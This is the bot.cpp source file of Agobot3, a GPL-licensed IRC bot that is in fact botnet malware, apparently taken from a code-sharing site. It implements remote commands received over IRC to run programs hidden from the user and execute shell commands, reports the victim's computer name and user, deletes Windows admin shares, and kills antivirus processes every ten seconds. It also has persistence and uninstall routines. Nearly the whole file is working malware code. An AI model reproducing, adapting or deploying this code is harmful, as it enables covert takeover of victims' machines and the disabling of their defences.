www.pudn.com > agobot3-priv4.rar > bot.cpp


/*	Agobot3 - a modular IRC bot for Win32 / Linux 
	Copyright (C) 2003 Ago 
 
	This program is free software; you can redistribute it and/or 
	modify it under the terms of the GNU General Public License 
	as published by the Free Software Foundation; either version 2 
	of the License, or (at your option) any later version. 
 
	This program is distributed in the hope that it will be useful, 
	but WITHOUT ANY WARRANTY; without even the implied warranty of 
	MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
	GNU General Public License for more details. 
 
	You should have received a copy of the GNU General Public License 
	along with this program; if not, write to the Free Software 
	Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA. */ 
 
#include "main.h" 
#include "bot.h" 
#include "mainctrl.h" 
#include "random.h" 
#include "utility.h" 
 
CBot::CBot() { m_bJoined=false; } 
 
/* No Comment :P */ 
 
void CBot::Init() 
{	init_random(); 
	 
	Config(); 
 
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdAbout,		"bot.about",		"displays the info the author wants you to see",	this); 
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdDie,			"bot.die",			"terminates the bot",								this); 
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdDns,			"bot.dns",			"resolves ip/hostname by dns",						this); 
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdExecute,		"bot.execute",		"makes the bot execute a .exe",						this); 
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdId,			"bot.id",			"displays the id of the current code",				this); 
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdNick,			"bot.nick",			"changes the nickname of the bot",					this); 
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdOpen,			"bot.open",			"opens a file (whatever)",							this); 
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdRemove,		"bot.remove",		"removes the bot",									this); 
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdRemoveAllBut,	"bot.removeallbut",	"removes the bot if id does not match",				this); 
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdRndNick,		"bot.rndnick",		"makes the bot generate a new random nick",			this); 
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdStatus,		"bot.status",		"gives status",										this); 
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdSysInfo,		"bot.sysinfo",		"displays the system info",							this); 
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdLongUptime,   "bot.longuptime",	"If uptime > 7 days then bot will respond",			this); 
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdQuit,			"bot.quit",			"quits the bot",									this); 
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdFlushDNS,		"bot.flushdns",		"flushes the bots dns cache",						this); 
	g_cMainCtrl.m_cCommands.RegisterCommand(&m_cmdSecure,		"bot.secure",		"delete shares / disable dcom",						this); 
 
	CString sRndNick=RndNick(si_nickprefix.sValue.CStr()); 
	g_cMainCtrl.m_cIRC.SendRawFormat("NICK %s\r\n", sRndNick.CStr()); 
	g_cMainCtrl.m_sUserName.Format("%s", sRndNick.Mid(0, 32).CStr()); 
	m_lStartTime=(unsigned long)GetTickCount()/1000; 
} 
 
 
void CBot::Recv(CMessage *pMsg) 
{ 
#ifdef DBGCONSOLE 
	if(pMsg->sDest[0]=='#') 
		g_cMainCtrl.m_cConsDbg.Log(5, "<%s> %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr()); 
	else 
		g_cMainCtrl.m_cConsDbg.Log(5, "*%s* %s\n", pMsg->sSrc.CStr(), pMsg->sChatString.CStr()); 
#endif 
 
	if(pMsg->sDest[0]=='#') pMsg->sReplyTo.Assign(pMsg->sDest); else pMsg->sReplyTo.Assign(pMsg->sSrc); 
	if(pMsg->bNotice) pMsg->sReplyTo.Assign(pMsg->sSrc); 
	pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1)); 
 
	// Check if its a bot command by comparing the first byte to the bot_prefix value 
	if(pMsg->sChatString[0]==bot_prefix.sValue[0]) { 
			if(!pMsg->sCmd.Compare("bot.repeat")) { 
			if(!pMsg->sChatString.Token(1, " ").Compare("")) return; 
			int i=0, iNum=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iNum) return; 
			CString sNewCStr=pMsg->sChatString.Mid(pMsg->sChatString.Find(' ')); 
			sNewCStr=sNewCStr.Mid(sNewCStr.Find(' ')); 
			pMsg->sChatString.Assign(sNewCStr); pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ").Mid(1)); 
			for(i=0;isChatString.Token(0, " ").Find(g_cMainCtrl.m_sUserName)) { 
			CString sNewCStr=pMsg->sChatString.Mid(pMsg->sChatString.Find(' ')); 
			pMsg->sChatString.Assign(sNewCStr); 
			pMsg->sCmd.Assign(pMsg->sChatString.Token(0, " ")); 
			this->Recv(pMsg); } 
	} 
} 
 
bool CBot::HandleMsg(CMessage *pMsg) 
{	// If it's no login command and the user isn't logged in yet, break 
	if(pMsg->sCmd.Compare("login") && !g_cMainCtrl.m_cMac.FindLogin(pMsg->sSrc)) return false; 
	else 
	{	// If the user isn't logged in yet, bot_seclogin is enabled and its no channel message, break; 
		if(!g_cMainCtrl.m_cMac.FindLogin(pMsg->sSrc)) 
			if(bot_seclogin.bValue) if(pMsg->sDest[0]!='#') return false; 
		// Find the command using the command handler 
		command *pCommand=g_cMainCtrl.m_cCommands.FindCommandByName(pMsg->sCmd.CStr(), true); 
		// If the command is found, let the command hander handle it 
		if(pCommand) return pCommand->pHandler->HandleCommand(pMsg); else return false; } } 
 
bool CBot::Think() 
{	static unsigned long lLastAVKill; 
 
	// If the IRC connection timed out, reset it 
	if((GetTickCount()-g_cMainCtrl.m_cIRC.m_lLastRecv) > bot_timeout.iValue) 
	{	g_cMainCtrl.m_cIRC.Fail(); g_cMainCtrl.m_cIRC.m_lLastRecv=GetTickCount(); } 
	 
	// Kill all AV processes every 10 seconds 
	if((GetTickCount()-lLastAVKill) > 10000) 
	{	KillAV(); lLastAVKill=GetTickCount(); } 
 
	return true; } 
 
bool CBot::HandleCommand(CMessage *pMsg) 
{	 
	if(!pMsg->sCmd.Compare("bot.remove") || !pMsg->sCmd.Compare("bot.removeallbut")) { 
		CString sId(pMsg->sChatString.Token(1, " ", true)); 
		if(!pMsg->sCmd.Compare("bot.removeallbut")) if(!sId.Compare(g_cMainCtrl.m_cBot.bot_id.sValue)) return false; 
		g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "removing bot...", pMsg->sReplyTo); 
#ifdef WIN32 
		if(g_cMainCtrl.m_cBot.as_enabled.bValue) g_cMainCtrl.m_cInstaller.RegStartDel(g_cMainCtrl.m_cBot.as_valname.sValue); 
#endif 
		g_cMainCtrl.m_cInstaller.Uninstall(); 
		g_cMainCtrl.m_cIRC.m_bRunning=false; g_cMainCtrl.m_bRunning=false; } 
 
	else if(!pMsg->sCmd.Compare("bot.execute")) { 
		CString sText(pMsg->sChatString.Token(2, " ", true)); bool bVisible=atoi(pMsg->sChatString.Token(1, " ").CStr())==1; 
#ifdef WIN32 
		CString sTextExp; ExpandEnvironmentStrings(sText.CStr(), sTextExp.GetBuffer(8192), 8192); // interpret environment variables 
		sText.Assign(sTextExp); PROCESS_INFORMATION pinfo; STARTUPINFO sinfo; 
		memset(&sinfo, 0, sizeof(STARTUPINFO)); sinfo.cb=sizeof(sinfo); 
		if(bVisible) sinfo.wShowWindow=SW_SHOW; else sinfo.wShowWindow=SW_HIDE; 
		if(!CreateProcess(NULL, sText.Str(), NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo)) { 
			g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute file.", pMsg->sReplyTo.Str()); return false; } 
#else 
		CString sCmdBuf; sCmdBuf.Format("/bin/sh -c \"%s\"", sText.CStr()); 
		if(system(sCmdBuf.CStr())==-1) { g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't execute file.", pMsg->sReplyTo.Str()); return false; } 
#endif 
		return true; } 
 
	else if(!pMsg->sCmd.Compare("bot.open")) { 
		if(!(pMsg->sChatString.GetLength() > (pMsg->sCmd.GetLength()+pMsg->sChatString.Token(1, " ").GetLength()+3))) return false; 
		CString sText; sText.Assign(&pMsg->sChatString[pMsg->sCmd.GetLength()+2]); bool bRet=false; 
#ifdef WIN32 
		bRet=(int)ShellExecute(0, "open", sText.CStr(), NULL, NULL, SW_SHOW)>=32; 
#else 
		bRet=system(sText.CStr())>0; 
#endif 
		if(bRet) return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "file opened.", pMsg->sReplyTo.Str()); 
		else return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, "couldn't open file.", pMsg->sReplyTo.Str()); } 
 
	else if(!pMsg->sCmd.Compare("bot.dns")) { 
		CString sReply; hostent *pHostent=NULL; in_addr iaddr; 
		if(!pMsg->sChatString.Token(1, " ").Compare("")) return false; 
		unsigned long addr=inet_addr(pMsg->sChatString.Token(1, " ").CStr()); 
	 
		if(addr!=INADDR_NONE) { 
			pHostent=gethostbyaddr((char*)&addr, sizeof(struct in_addr), AF_INET); 
			if(pHostent) { 
				sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), pHostent->h_name); 
				return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } 
		} else { 
			pHostent=gethostbyname(pMsg->sChatString.Token(1, " ").CStr()); 
			if(pHostent) { 
				iaddr=*((in_addr*)*pHostent->h_addr_list); 
				sReply.Format("%s -> %s", pMsg->sChatString.Token(1, " ").CStr(), inet_ntoa(iaddr)); 
				return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } } 
		 
		if(!pHostent) { 
			sReply.Format("couldn't resolve host \"%s\"!", pMsg->sChatString.Token(1, " ").CStr()); 
			return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReply.Str(), pMsg->sReplyTo.Str()); } } 
 
	else if(!pMsg->sCmd.Compare("bot.about")) { 
		CString sReplyBuf; sReplyBuf.Format("%s by Ago (theago@gmx.net). homepage: http://none.yet/", g_cMainCtrl.m_sNameVerStr.CStr()); 
		return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, sReplyBuf.Str(), pMsg->sReplyTo.Str()); } 
 
	else if(!pMsg->sCmd.Compare("bot.id")) { 
		return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, bot_id.sValue.Str(), pMsg->sReplyTo.Str()); } 
 
	else if(!pMsg->sCmd.Compare("bot.nick")) { 
		g_cMainCtrl.m_sUserName.Format("%s", pMsg->sChatString.Token(1, " ", true).Mid(0, 32).CStr()); 
		g_cMainCtrl.m_cIRC.SendRawFormat("NICK %s\r\n", g_cMainCtrl.m_sUserName.CStr()); 
		return true; } 
 
	else if(!pMsg->sCmd.Compare("bot.quit") || !pMsg->sCmd.Compare("bot.die")) { 
		g_cMainCtrl.m_cIRC.m_bRunning=false; return true; } 
 
	else if(!pMsg->sCmd.Compare("bot.sysinfo")) { 
		return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, SysInfo().Str(), pMsg->sReplyTo.Str()); } 
 
	else if(!pMsg->sCmd.Compare("bot.longuptime")) { 
		int iDays=atoi(pMsg->sChatString.Token(1, " ").CStr()); if(!iDays) iDays=7; 
		CString sUptime=LongUptime(iDays); 
		if(sUptime.Compare("")) { 
			g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, \ 
				sUptime.Str(), pMsg->sReplyTo.Str()); } 
		return true; } 
 
	else if(!pMsg->sCmd.Compare("bot.status")) { 
		return g_cMainCtrl.m_cIRC.SendMsg(pMsg->bSilent, pMsg->bNotice, Status().Str(), pMsg->sReplyTo.Str()); } 
 
	else if(!pMsg->sCmd.Compare("bot.rndnick")) { 
		CString sRndNick=RndNick(si_nickprefix.sValue.CStr()); 
		g_cMainCtrl.m_cIRC.SendRawFormat("NICK %s\r\n", sRndNick.CStr()); 
		g_cMainCtrl.m_sUserName.Format("%s", sRndNick.Mid(0, 32).CStr()); 
		return true; } 
 
	else if(!pMsg->sCmd.Compare("bot.flushdns")) { 
#ifdef WIN32 
		Execute("ipconfig.exe", "/flushdns"); 
#else 
		Execute("nscd", "-i hosts"); 
#endif // WIN32 
		return true; } 
 
	else if(!pMsg->sCmd.Compare("bot.secure")) {	 
#ifdef WIN32 
		// Set EnableDCOM to "N" 
		HKEY hkey=NULL; DWORD dwSize=128; char szDataBuf[128]; 
		sprintf(szDataBuf, "N"); dwSize=strlen(szDataBuf); 
		LONG lRet=RegOpenKeyEx(HKEY_LOCAL_MACHINE, "Software\\Microsoft\\OLE", 0, KEY_READ, &hkey); 
		RegSetValueEx(hkey, "EnableDCOM", NULL, REG_SZ, (unsigned char*)szDataBuf, dwSize); 
		RegCloseKey(hkey); 
 
		// Secure Shares 
		system("net share c$ /delete /y"); 
		system("net share d$ /delete /y"); 
		system("net share ipc$ /delete /y"); 
		system("net share admin$ /delete /y"); 
#endif 
		return true; } 
 
	return false; } 
 
CString CBot::SysInfo() 
{	CString sSysInfo;
#ifdef WIN32 
	int total=GetTickCount()/1000; 
	MEMORYSTATUS memstat; OSVERSIONINFO verinfo; 
	char szBuffer[MAX_COMPUTERNAME_LENGTH + 1]; 
	DWORD dwNameSize = MAX_COMPUTERNAME_LENGTH + 1; 
	char *szCompname; 
	TCHAR szUserName[21]; 
	DWORD dwUserSize = sizeof(szUserName); 
 
	GlobalMemoryStatus(&memstat); verinfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); GetVersionEx(&verinfo); char *os; char os2[140]; 
	if(verinfo.dwMajorVersion==4 && verinfo.dwMinorVersion==0) 
	{	if(verinfo.dwPlatformId==VER_PLATFORM_WIN32_WINDOWS)			os="95"; 
		if(verinfo.dwPlatformId==VER_PLATFORM_WIN32_NT)					os="NT"; } 
	else if(verinfo.dwMajorVersion==4 && verinfo.dwMinorVersion==10)	os="98"; 
	else if(verinfo.dwMajorVersion==4 && verinfo.dwMinorVersion==90)	os="ME"; 
	else if(verinfo.dwMajorVersion==5 && verinfo.dwMinorVersion==0)		os="2000"; 
	else if(verinfo.dwMajorVersion==5 && verinfo.dwMinorVersion==1)		os="XP"; 
	else if(verinfo.dwMajorVersion==5 && verinfo.dwMinorVersion==2)		os="2003"; 
	else																os="???"; 
 
	if(verinfo.dwPlatformId==VER_PLATFORM_WIN32_NT && verinfo.szCSDVersion[0]!='\0') 
	{	sprintf(os2, "%s [%s]", os, verinfo.szCSDVersion); os=os2; } 
	GetComputerName(szBuffer, &dwNameSize); 
	szCompname = szBuffer; 
	GetUserName(szUserName, &dwUserSize); 
 
	// *** PhaTTy  Changed ram: to ##MB/##MB , added box: , added user:  
 
	sSysInfo.Format("cpu: %dMHz. ram: %dMB/%dMB. os: Windows %s (%d.%d, build %d). uptime: %dd %dh %dm box: %s. user: %s.", 
	cpuspeed(), memstat.dwAvailPhys/1046528, memstat.dwTotalPhys/1046528, os, verinfo.dwMajorVersion, verinfo.dwMinorVersion, verinfo.dwBuildNumber, total/86400, (total%86400)/3600, ((total%86400)%3600)/60, szCompname, szUserName); 
 
 
#else 
	FILE *fp=fopen("/proc/uptime", "r");
	float f1, f2;
	
	if(!fp) return CString("Error: Can't open /proc/uptime!");

	if(fscanf(fp, "%f %f", &f1, &f2)<2) return CString("Error: Invalid or changed /proc/uptime format!");

	fclose(fp);
	
	int days, hours, minutes;
	days=((abs((int)f1)/60)/60)/24;
	hours=((abs((int)f1)/60)/60)%24;
	minutes=(abs((int)f1)/60)%60;

	int iDistro=GetDistro(); char *szVersion; char *szKVersion;
	bool bGotVer=GetVersion(&szVersion, iDistro);
	bool bGotKVer=GetKVersion(&szKVersion, iDistro);
	
	if(!bGotVer) szVersion="Unknown\n"; if(!bGotKVer) szKVersion="Unknown\n";
	
	sSysInfo.Format("cpu: %dMHz. os: %s. kernel: %s. uptime: %dd %dh %dm", cpuspeed(), szVersion, szKVersion, days, hours, minutes); 

	free(szVersion); free(szKVersion);
#endif 
	return sSysInfo; } 
 
CString CBot::LongUptime(int iDays)  // If uptime > iDays days then bot will reply with uptime stats. - PhaTTy 
{	CString sLongUptime;
	if (iDays == 0) return false; 
#ifdef WIN32 
	int total=GetTickCount()/1000; 
	OSVERSIONINFO verinfo; 
 
	if(total/86400 >= iDays) sLongUptime.Format("uptime: %dd %dh %dm",total/86400, (total%86400)/3600, ((total%86400)%3600)/60); 
	else return CString(""); 
#else 
	FILE *fp=fopen("/proc/uptime", "r");
	float f1, f2;
	
	if(!fp) return CString("Error: Can't open /proc/uptime!");

	if(fscanf(fp, "%f %f", &f1, &f2)<2) return CString("Error: Invalid or changed /proc/uptime format!");

	fclose(fp);
	
	int days, hours, minutes;
	days=((abs((int)f1)/60)/60)/24;
	hours=((abs((int)f1)/60)/60)%24;
	minutes=(abs((int)f1)/60)%60;

	if(days >= iDays) sLongUptime.Format("uptime: %dd %dh %dm", days, hours, minutes); 
	else return CString("");
#endif // WIN32 
	return sLongUptime; } 
 
CString CBot::Status() 
{	CString sStatus; unsigned long total, days, hours, minutes; total=(GetTickCount()/1000)-m_lStartTime; 
	days=total/86400; hours=(total%86400)/3600; minutes=((total%86400)%3600)/60; 
	sStatus.Format("%s ready. Up %dd %dh %dm.", g_cMainCtrl.m_sNameVerStr.CStr(), days, hours, minutes); return sStatus; }